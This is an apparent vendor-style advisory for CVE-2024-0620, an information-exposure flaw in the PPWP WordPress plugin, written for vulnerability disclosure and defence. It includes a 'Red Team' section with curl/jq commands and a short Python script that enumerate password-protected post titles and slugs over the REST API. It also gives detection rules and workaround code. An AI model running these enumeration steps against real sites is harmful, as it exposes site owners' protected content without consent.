CVE-2024-0620
Executive Summary
CVE-2024-0620 is a Sensitive Information Exposure vulnerability in the PPWP – Password Protect Pages WordPress plugin, affecting all versions up to and including 1.8.9. This flaw allows unauthenticated attackers to retrieve sensitive metadata (post titles, IDs, slugs) of password-protected posts via the WordPress REST API. The vulnerability has a CVSS score of 5.3 (Medium) and an EPSS score of 0.0%, indicating low exploitation likelihood at this time. However, the exposure of protected content metadata can aid attackers in reconnaissance and targeted attacks.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
WordPress Ecosystem Context
This vulnerability is specific to the WordPress plugin ecosystem. The PPWP plugin is designed to password-protect pages and posts, but fails to properly restrict API access to metadata of protected content. This is a common issue in WordPress plugins that implement custom access controls without considering REST API endpoints.
CVSS Breakdown & Threat Level
- CVSS Score: 5.3 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: None
- Scope: Unchanged
- Confidentiality Impact: Low (exposure of metadata)
- Integrity Impact: None
- Availability Impact: None
Threat Level: Medium. While the direct impact is limited to metadata exposure, this information can be leveraged for targeted attacks, social engineering, or identifying high-value content.
Deep Dive & Mechanics
The vulnerability resides in the PPWP plugin's failure to filter WordPress REST API responses for password-protected posts. The plugin implements password protection on the frontend but does not extend this protection to the REST API endpoints (/wp-json/wp/v2/posts, /wp-json/wp/v2/pages). As a result, unauthenticated requests to these endpoints return metadata (title, ID, slug, excerpt, etc.) for all posts, including those marked as password-protected.
Root Cause: The plugin does not hook into the rest_prepare_post or rest_pre_insert_post filters to remove sensitive data from API responses for protected posts. WordPress core's password protection only affects the content field in REST responses, but metadata remains exposed.
Attack Vector: An attacker sends a GET request to the WordPress REST API without authentication. The response includes all posts, with password-protected posts having their content.protected flag set to true, but their title, slug, and ID are still visible.
Example Request:
GET /wp-json/wp/v2/posts?per_page=100 HTTP/1.1
Host: target-site.com
Example Response (truncated):
[
{
"id": 123,
"title": {
"rendered": "Confidential Report"
},
"slug": "confidential-report",
"content": {
"protected": true,
"rendered": ""
}
}
]
Vulnerable vs. Patched Code
Vulnerable Code (PPWP <= 1.8.9): The plugin does not implement any REST API filtering. The default WordPress behavior is used, which exposes metadata for all posts.
Patched Code (Hypothetical): A patched version would add a filter to remove password-protected posts from REST API responses or strip their metadata. Example:
add_filter( 'rest_prepare_post', function( $response, $post ) {
if ( post_password_required( $post ) ) {
$response->data['title'] = '';
$response->data['slug'] = '';
$response->data['id'] = 0;
}
return $response;
}, 10, 2 );
Note: As of this report, no official patch has been released. The vendor (PPWP) has not provided a fix.
Exploitation & Lab Setup
Red Team (Attack Simulation)
Prerequisites:
- Target WordPress site with PPWP plugin <= 1.8.9
- At least one password-protected post
Exploitation Steps:
Enumerate REST API endpoints:
curl -s http://target-site.com/wp-json/wp/v2/posts | jq '.[] | {id, title, slug, content: .content.protected}'Extract metadata of protected posts:
curl -s http://target-site.com/wp-json/wp/v2/posts?per_page=100 | jq '.[] | select(.content.protected == true) | {id, title, slug}'Automated script (Python):
import requests import json target = "http://target-site.com" response = requests.get(f"{target}/wp-json/wp/v2/posts?per_page=100") posts = response.json() protected_posts = [p for p in posts if p.get('content', {}).get('protected')] for p in protected_posts: print(f"ID: {p['id']}, Title: {p['title']['rendered']}, Slug: {p['slug']}")
Blue Team (Detection & Defense)
Detection:
- Monitor for unusual REST API requests to
/wp-json/wp/v2/postsor/wp-json/wp/v2/pagesfrom unauthenticated sources. - Look for patterns of bulk enumeration (e.g.,
per_page=100parameter).
Defense:
- Immediate: Disable the PPWP plugin until a patch is available.
- Workaround: Add custom code to functions.php to filter REST API responses:
add_filter( 'rest_prepare_post', function( $response, $post ) { if ( post_password_required( $post ) ) { return new WP_Error( 'rest_forbidden', 'Access denied', array( 'status' => 403 ) ); } return $response; }, 10, 2 ); - Long-term: Use a Web Application Firewall (WAF) to block unauthenticated REST API requests to sensitive endpoints.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP requests to
/wp-json/wp/v2/postswithper_pageparameter > 20 - User-Agent strings indicating automated scraping tools (e.g., Python-requests, curl)
- Repeated requests from the same IP address to REST API endpoints
File IOCs:
- Presence of PPWP plugin files in
/wp-content/plugins/ppwp/(version <= 1.8.9) - Modified
functions.phpwith REST API filtering code (if workaround applied)
Log IOCs:
- WordPress debug log entries showing REST API requests to protected posts
- Web server access logs with 200 responses to
/wp-json/wp/v2/postsfrom unauthenticated users
Detection Engineering
YARA Rule
rule CVE_2024_0620_PPWP_Exposure {
meta:
description = "Detects PPWP plugin version <= 1.8.9 vulnerable to CVE-2024-0620"
author = "Valters IT"
date = "2024-01-01"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-0620"
strings:
$plugin_header = "Plugin Name: PPWP - Password Protect Pages"
$version_string = /Version: (0?\d|1[0-8])\.[0-9]/
$api_endpoint = "/wp-json/wp/v2/posts"
condition:
$plugin_header and $version_string and #api_endpoint > 0
}
Sigma Rule
title: CVE-2024-0620 - PPWP REST API Metadata Exposure
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects unauthenticated REST API requests to enumerate password-protected post metadata
author: Valters IT
date: 2024/01/01
logsource:
category: webserver
product: apache
service: access_log
detection:
selection:
cs-method: 'GET'
cs-uri-stem: '/wp-json/wp/v2/posts'
sc-status: 200
condition: selection
falsepositives:
- Legitimate API usage by authenticated users
level: medium
tags:
- attack.t1592
- cve.2024.0620
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-0620 - PPWP REST API Metadata Exposure"; flow:to_server; content:"GET"; http_method; content:"/wp-json/wp/v2/posts"; http_uri; content:"per_page"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the PPWP plugin until a patched version is released.
- Apply the workaround by adding the custom code snippet to your theme's
functions.phpfile. - Review REST API access and consider using a plugin like "Disable REST API" or "WP REST API Authentication" to restrict access.
Long-term Fix:
- Monitor the PPWP plugin repository for an official patch (version > 1.8.9).
- Implement a Web Application Firewall (WAF) rule to block unauthenticated REST API requests.
- Conduct a security audit of all WordPress plugins for similar API exposure issues.
Vendor Contact:
- The PPWP plugin vendor has not released a patch as of this report. Users should contact the vendor directly or consider alternative password-protection plugins.
Report generated by Valters IT DevSecOps Intelligence Unit
Valters IT - Securing Digital Ecosystems
Security researchers use these queries on Shodan.io to find vulnerable systems globally.
Full Shodan queries for this CVE are available through the ValtersIT API. They were moved behind the API in response to large-scale automated scraping, and to keep this independently-researched intelligence sustainable. The written analysis above remains fully open.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.